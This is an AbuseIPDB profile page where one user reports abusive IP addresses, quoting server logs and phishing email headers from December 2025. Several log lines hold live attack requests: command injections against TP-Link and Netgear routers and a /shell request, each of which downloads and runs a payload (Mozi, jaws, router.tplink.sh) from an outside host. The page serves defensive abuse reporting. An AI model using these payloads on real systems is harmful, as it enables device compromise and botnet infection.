AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Mirage F1 joined AbuseIPDB in July 2021 and has reported 2,457 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇳🇱 89.39.70.206	28 Dec 2025	89.39.70.206 - - [27/Dec/2025:18:29:45 +0100] "GET http://ip-api.com/json/ HTTP/1.1" 89.39.70.206 ... show more 89.39.70.206 - - [27/Dec/2025:18:29:45 +0100] "GET http://ip-api.com/json/ HTTP/1.1" 89.39.70.206 - - [27/Dec/2025:19:49:28 +0100] "GET http://ip-api.com/json/ HTTP/1.1" 89.39.70.206 - - [27/Dec/2025:20:52:10 +0100] "GET http://ip-api.com/json/ HTTP/1.1" show less	Hacking Web App Attack
🇳🇱 103.219.153.219	27 Dec 2025	From: "Commerzbank AG" <[email protected]> (=?utf-8?q?Wichtige_Sicherheits=C3=BCberpr=C3=BCfu ... show more From: "Commerzbank AG" <[email protected]> (=?utf-8?q?Wichtige_Sicherheits=C3=BCberpr=C3=BCfung_=E2=80=93_Handlungsbedarf_f=C3=BCr_Ihr_Konto=2E?=) --===============1239744787750490626== Content-Type: text/html; charset="utf-8" show less	Phishing
🇪🇬 101.46.64.68	25 Dec 2025	From: =?UTF-8?Q?Nie_wieder_frieren_=E2=80=93_genie=C3=9F?= =?UTF-8?Q?e_W=C3=A4rme_genau_dort=2C_wo_d ... show more From: =?UTF-8?Q?Nie_wieder_frieren_=E2=80=93_genie=C3=9F?= =?UTF-8?Q?e_W=C3=A4rme_genau_dort=2C_wo_du_sie_bra?= =?UTF-8?Q?uchst!?= <[email protected]> (=?UTF-8?Q?Nie_wieder_frieren_=E2=80=93_genie=C3=9F?= =?UTF-8?Q?e_W=C3=A4rme_genau_dort=2C_wo_du_sie_bra?= =?UTF-8?Q?uchst!?=) ----_NmP-9e58994d5b7ba538-Part_1 Content-Type: text/plain; charset=utf-8 show less	Email Spam
🇪🇬 101.46.70.144	25 Dec 2025	From: =?UTF-8?Q?Nie_wieder_frieren_=E2=80=93_genie=C3=9F?= =?UTF-8?Q?e_W=C3=A4rme_genau_dort=2C_wo_d ... show more From: =?UTF-8?Q?Nie_wieder_frieren_=E2=80=93_genie=C3=9F?= =?UTF-8?Q?e_W=C3=A4rme_genau_dort=2C_wo_du_sie_bra?= =?UTF-8?Q?uchst!?= <[email protected]> (=?UTF-8?Q?Nie_wieder_frieren_=E2=80=93_genie=C3=9F?= =?UTF-8?Q?e_W=C3=A4rme_genau_dort=2C_wo_du_sie_bra?= =?UTF-8?Q?uchst!?=) ----_NmP-9e58994d5b7ba538-Part_1 Content-Type: text/plain; charset=utf-8 show less	Phishing Email Spam
🇺🇸 144.172.103.95	25 Dec 2025	GET /cgi-bin /luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103 ... show more GET /cgi-bin /luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/route r.tplink.sh%20-O-%7Csh) HTTP/1.1" show less	Hacking Exploited Host
🇩🇪 2.241.178.135	25 Dec 2025	dynamic-002-241-178-135.2.241.pool.telefonica.de - - [24/Dec/2025:18:05:18 +0100] "GET /cgi-bin /lu ... show more dynamic-002-241-178-135.2.241.pool.telefonica.de - - [24/Dec/2025:18:05:18 +0100] "GET /cgi-bin /luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/route r.tplink.sh%20-O-%7Csh) HTTP/1.1" dynamic-002-241-178-135.2.241.pool.telefonica.de - - [24/Dec/2025:18:05:18 +0100] "GET /cgi-bin /luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/route r.tplink.sh%20-O-%7Csh) HTTP/1.1" show less	Hacking
🇸🇦 80.238.219.144	24 Dec 2025	From: =?UTF-8?Q?=F0=9F=92=BE_Google-Cloud?= <[email protected]> (Letzte Erinnerung: Ohne heuti ... show more From: =?UTF-8?Q?=F0=9F=92=BE_Google-Cloud?= <[email protected]> (Letzte Erinnerung: Ohne heutige Aktion wird der Datenzugriff entfernt.) ----_NmP-bf2e47dfd8acbd5d-Part_1 Content-Type: text/plain; charset=utf-8 show less	Phishing
🇳🇱 51.15.105.237	24 Dec 2025	From: =?UTF-8?Q?=F0=9F=92=BE_Google-Cloud?= <[email protected]> (Letzte Erinnerung: O ... show more From: =?UTF-8?Q?=F0=9F=92=BE_Google-Cloud?= <[email protected]> (Letzte Erinnerung: Ohne heutige Aktion wird der Datenzugriff entfernt.) ----_NmP-96753560a503282c-Part_1 Content-Type: text/plain; charset=utf-8 show less	Phishing
🇳🇱 72.56.94.131	23 Dec 2025	72.56.94.131 - - [22/Dec/2025:16:57:30 +0100] "GET /cdn-cgi/trace HTTP/1.1"	Hacking Web App Attack
🇭🇰 103.27.77.66	21 Dec 2025	103.27.77.66 - - [20/Dec/2025:18:18:18 +0100] "GET /.env HTTP/1.1"	Hacking
🇺🇸 217.28.137.76	21 Dec 2025	217.28.137.76 - - [20/Dec/2025:14:21:06 +0100] "GET http://ip-api.com/json/ HTTP/1.1"	Web App Attack
🇳🇱 89.42.231.239	19 Dec 2025	Port(s) scanned: TCP80//8080	Port Scan
🇲🇦 41.251.181.86	18 Dec 2025	41.251.181.86 - - [18/Dec/2025:01:04:47 +0100] "GET /.env HTTP/1.1"	Hacking Web App Attack
🇵🇱 95.214.55.71	16 Dec 2025	95.214.55.71 - - [16/Dec/2025:16:51:12 +0100] "GET /dispatch.asp HTTP/1.1"	Hacking
🇵🇱 95.214.55.71	16 Dec 2025	95.214.55.71 - - [16/Dec/2025:03:43:56 +0100] "GET /login.asp HTTP/1.1"	Hacking
🇳🇱 103.69.224.47	15 Dec 2025	From: =?UTF-8?B?Vm9sa3NiYW5rIEFH?= <x> (Dringend: Letzte Erinnerung vor der Sperrung Ihres Kontos.) ... show more From: =?UTF-8?B?Vm9sa3NiYW5rIEFH?= <x> (Dringend: Letzte Erinnerung vor der Sperrung Ihres Kontos.) ------=_Part_976105_644174033.1765803065973 Content-Type: text/plain; charset="utf-8" show less	Phishing
🇭🇰 222.166.248.15	15 Dec 2025	cm222-166-248-15.hkcable.com.hk - - [15/Dec/2025:12:07:22 +0100] "GET /setup.cgi?next_file=netg ear ... show more cm222-166-248-15.hkcable.com.hk - - [15/Dec/2025:12:07:22 +0100] "GET /setup.cgi?next_file=netg ear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://222.166.248.15:39435/Mozi.m+-O+/tmp/netgear;s h+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" show less	Hacking
🇬🇧 13.40.211.230	15 Dec 2025	From: DKB <[email protected]> (Betreff: Aktualisieren Sie Ihr DKB-Konto) ------=_Part_926379_168 ... show more From: DKB <[email protected]> (Betreff: Aktualisieren Sie Ihr DKB-Konto) ------=_Part_926379_1680545416.1765786470530 Content-Type: text/plain; charset="utf-8" show less	Phishing
🇺🇸 45.90.12.71	15 Dec 2025	201.205.247.46 - - [14/Dec/2025:15:22:47 +0100] "GET /shell?cd+/tmp;rm+-rf+;wget+45.90.12.71/jaws;s ... show more 201.205.247.46 - - [14/Dec/2025:15:22:47 +0100] "GET /shell?cd+/tmp;rm+-rf+;wget+45.90.12.71/jaws;sh+/tmp/jaws H TTP/1.1" show less	Exploited Host
🇨🇷 201.205.247.46	15 Dec 2025	201.205.247.46 - - [14/Dec/2025:15:22:47 +0100] "GET /shell?cd+/tmp;rm+-rf+;wget+45.90.12.71/jaws;s ... show more 201.205.247.46 - - [14/Dec/2025:15:22:47 +0100] "GET /shell?cd+/tmp;rm+-rf+;wget+45.90.12.71/jaws;sh+/tmp/jaws H TTP/1.1" show less	Hacking Bad Web Bot
🇳🇱 2a05:f480:1400:2677:5400:5ff:fed2:9856	14 Dec 2025	From: =?UTF-8?B?VtC+0IZrc2LQsG5r?= <[email protected]> (=?UTF-8?B?SWhyIEZpbmFuei1VcGRhdGUgZsO8ci ... show more From: =?UTF-8?B?VtC+0IZrc2LQsG5r?= <[email protected]> (=?UTF-8?B?SWhyIEZpbmFuei1VcGRhdGUgZsO8ciBkZW4gRGV6ZW1iZXIuICMwODI2MjAz?=) This is a multi-part message in MIME format. --------=_Part_37cc073e5bcbb232d945d060279c7828 show less	Phishing
🇺🇸 45.59.163.167	14 Dec 2025	mx00.carii.com - - [14/Dec/2025:12:34:25 +0100] "GET /admin/config.php HTTP/1.0"	Hacking Brute-Force
🇺🇸 91.199.82.162	14 Dec 2025	91.199.82.162 - - [13/Dec/2025:10:32:06 +0100] "GET http://ip-api.com/json/ HTTP/1.1"	Hacking
🇺🇸 180.178.57.174	13 Dec 2025	180.178.57.174 - - [12/Dec/2025:19:15:21 +0100] "GET http://icanhazip.com/ HTTP/1.1"	Hacking
🇺🇸 52.103.140.14	12 Dec 2025	From: TV-Befreiungsteam<[email protected]> (High-Speed Streaming in klein) © Copy ... show more From: TV-Befreiungsteam<[email protected]> (High-Speed Streaming in klein) © Copyright 2025 Trans.eu Group S.A.Internet services provided by Trans.eu Group S.A. and its subsidiaries use cookie files. They are to ensure comfort whi show less	Phishing Email Spam